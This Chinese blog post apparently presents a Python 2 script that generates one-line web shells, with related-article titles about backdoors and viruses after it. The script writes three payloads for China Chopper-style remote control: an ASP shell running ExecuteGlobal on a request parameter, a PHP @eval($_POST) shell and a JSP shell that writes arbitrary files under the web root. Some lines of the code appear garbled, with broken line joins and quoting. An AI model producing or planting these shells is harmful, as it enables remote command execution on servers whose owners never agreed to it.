代码:

import time
import os
from threading import Thread
import optparse
def aspyijuhua():
try:
juy=open('caidao.asp','w')
asp="<%IfRequest(",'1',")<>""ThenExecuteGlobal(Request(",'1',"))%>"
print '[+]Accelerated generation !'
juy.writelines(asp)
print '[+]ASP in word ,the Trojan horse is finished .'
print '[+]Password:1'
except:
print '[-]Not generate !' def phpyijuhua():
try:
php=open('caidao.php','w')
payload="<?php @eval($_POST['chopper']);?>"
print '[+]Accelerated generation !'
php.writelines(payload)
print '[+]PHP in word ,the Trojan horse is finished .'
print '[+]Password:chopper'
except:
print '[-]Not generate !' def jspyijuhua():
try:
jsp=open('caidao.jsp','w')
payload="<%if(request.getParameter(",'f',")!=null)(newjava.io.FileOutputStream (application.getRealPath(",'\\',")+request.getParameter(",'f',"))).write (request.getParameter(",'t',").getBytes());%> "
print '[+]Accelerated generation !'
jsp.writelines(payload)
print '[+]JSP in word ,the Trojan horse is finished .'
except:
print '[-]Not generate !'
def editon():
print '-a ASP in word ,the Trojan horse is finished .'
print '-p PHP in word ,the Trojan horse is finished .'
print '-j JSP in word ,the Trojan horse is finished .'
print 'Editon v.1.0'
print 'What is your Haq me, Whatever you do love you' def main():
parser=optparse.OptionParser()
parser.add_option('-a',action='store_true',dest='asp',help='ASP in word ,the Trojan horse is finished .')
parser.add_option('-p',action='store_true',dest='php',help='PHP in word ,the Trojan horse is finished .')
parser.add_option('-j',action='store_true',dest='jsp',help='JSP in word ,the Trojan horse is finished .')
parser.add_option('-v',action='store_true',dest='help',help='Editon')
(options,args)=parser.parse_args()
if options.asp:
a=Thread(target=aspyijuhua,args=())
a.start()
if options.php:
px=Thread(target=phpyijuhua,args=())
px.start()
if options.jsp:
j=Thread(target=jspyijuhua,args=())
j.start()
if options.help:
h=Thread(target=editon(),args=())
h.start() if __name__ == '__main__':
main()

  运行截图:

命令:

-h 帮助

-a 生成asp一句话马

-p 生成php一句话木马

-j 生成jsp一句话木马

-v 版本

python写一个能生成三种一句话木马的脚本的更多相关文章

  1. Python写一个批量生成账号的函数

    批量生成账户信息,产生的账户由@sina.com结尾,长度由用户输入,产生多少条也由用户输入,用户名不能重复,用户名必须由大写字母.小写字母和数字组成. def Users(num,len): # n ...

  2. [转]用Python做一个自动生成读表代码的小脚本

    写在开始(本片文章不是写给小白的,至少你应该知道一些常识!) 大家在Unity开发中,肯定会把一些数据放到配置文件中,尤其是大一点的项目,每次开发一个新功能的时候,都要重复的写那些读表代码.非常烦.来 ...

  3. python每次处理一个字符的三种方法

    python每次处理一个字符的三种方法 a_string = "abccdea" print 'the first' for c in a_string: print ord(c) ...

  4. python实现XML解析的三种方法

    python实现XML解析的三种方法 三种方法:一是xml.dom.*模块,它是W3C DOM API的实现,若需要处理DOM API则该模块很适合:二是xml.sax.*模块,它是SAX API的实 ...

  5. Python实现微信支付(三种方式)

    Python实现微信支付(三种方式) 关注公众号"轻松学编程"了解更多. 如果需要python SDk源码,可以加我微信[1257309054] 在文末有二维码. 一.准备环境 1 ...

  6. python写一个能变身电光耗子的贪吃蛇

    python写一个不同的贪吃蛇 写这篇文章是因为最近课太多,没有精力去挖洞,记录一下学习中的收获,python那么好玩就写一个大一没有完成的贪吃蛇(主要还是跟课程有关o(╥﹏╥)o,课太多好烦) 第一 ...

  7. 用Python写一个简单的Web框架

    一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...

  8. 十行代码--用python写一个USB病毒 (知乎 DeepWeaver)

    昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序.查了一下,发现只有windows上可以,具体的大家也可以搜索(搜索关键词usb autorun)到.但是,如果我想, ...

  9. 【Python】如何基于Python写一个TCP反向连接后门

    首发安全客 如何基于Python写一个TCP反向连接后门 https://www.anquanke.com/post/id/92401 0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的 ...

随机推荐

  1. Ajax的跨域问题(包括解决方案)?

    原因:js的同源策略限制,不同源会造成跨域 哪些情况会造成跨域? 子域名不同(WWW) 2.主域名不同(baidu.com) 3.端口号不同 4.IP地址和网址不同 解决方案: 使用jsonp技术,但 ...

  2. 四十四 Python分布式爬虫打造搜索引擎Scrapy精讲—elasticsearch(搜索引擎)的基本查询

    1.elasticsearch(搜索引擎)的查询 elasticsearch是功能非常强大的搜索引擎,使用它的目的就是为了快速的查询到需要的数据 查询分类: 基本查询:使用elasticsearch内 ...

  3. openvswitch的原理和常用命令

    一.Openvswitch工作原理 openvSwitch是一个高质量的.多层虚拟交换机,使用开源Apache2.0许可协议,由 Nicira Networks开发,主要实现代码为可移植的C代码.它的 ...

  4. 假如数组接收到一个null,那么应该怎么循环输出。百度结果,都需要提前判断。否则出现空指针异常。。我还是想在数组中实现保存和输出null。

    假如数组接收到一个null,那么应该怎么循环输出.因为foreach与obj.length都会报错.null不是对象,foreach中不能赋值? sp页面forEach一个存放对象的集合,怎么判断其中 ...

  5. pg_rewind 源端时间线发生改变 同步失败

    master-standby情况下,发生如下行为: 1.master停掉后,standby做为新的master(可能存在部分事物没有同步到standby中). 2.新master运行过程中出错,进行恢 ...

  6. macOS Ruby版本需要升级到2.2.2以上

    在安装 Ruby on Rails 时遇到问题,提示依赖 ruby 2.2.2 或更高的版本. ERROR: Error installing rails: activesupport require ...

  7. Arcgis for Javascript之统计图的实现

    首先,截个图给大家看看效果: 初始化状态 放大后的状态 点击选中后的状态 如上图所示,一般的涉及到的地图的统计涉及到上述所展示的三个状态:1.初始化状态:2.缩放后的状态:3.点击选中显示详情状态.第 ...

  8. How do I create zip file in Servlet for download?

    原文链接:https://kodejava.org/how-do-i-create-zip-file-in-servlet-for-download/ The example below is a s ...

  9. Go语言的序列化与反序列化(gob)

    encoding/gob包实现了高效的序列化,特别是数据结构较复杂的,结构体.数组和切片都被支持. 实现代码如下://定义一个结构体type Student struct { Name string ...

  10. 迭代器模式在 Java 容器中的实现

    迭代器接口是迭代器模式实现的精髓: public interface Iterator<E> { boolean hasNext(); E next(); ... } 假设某容器名为 Xx ...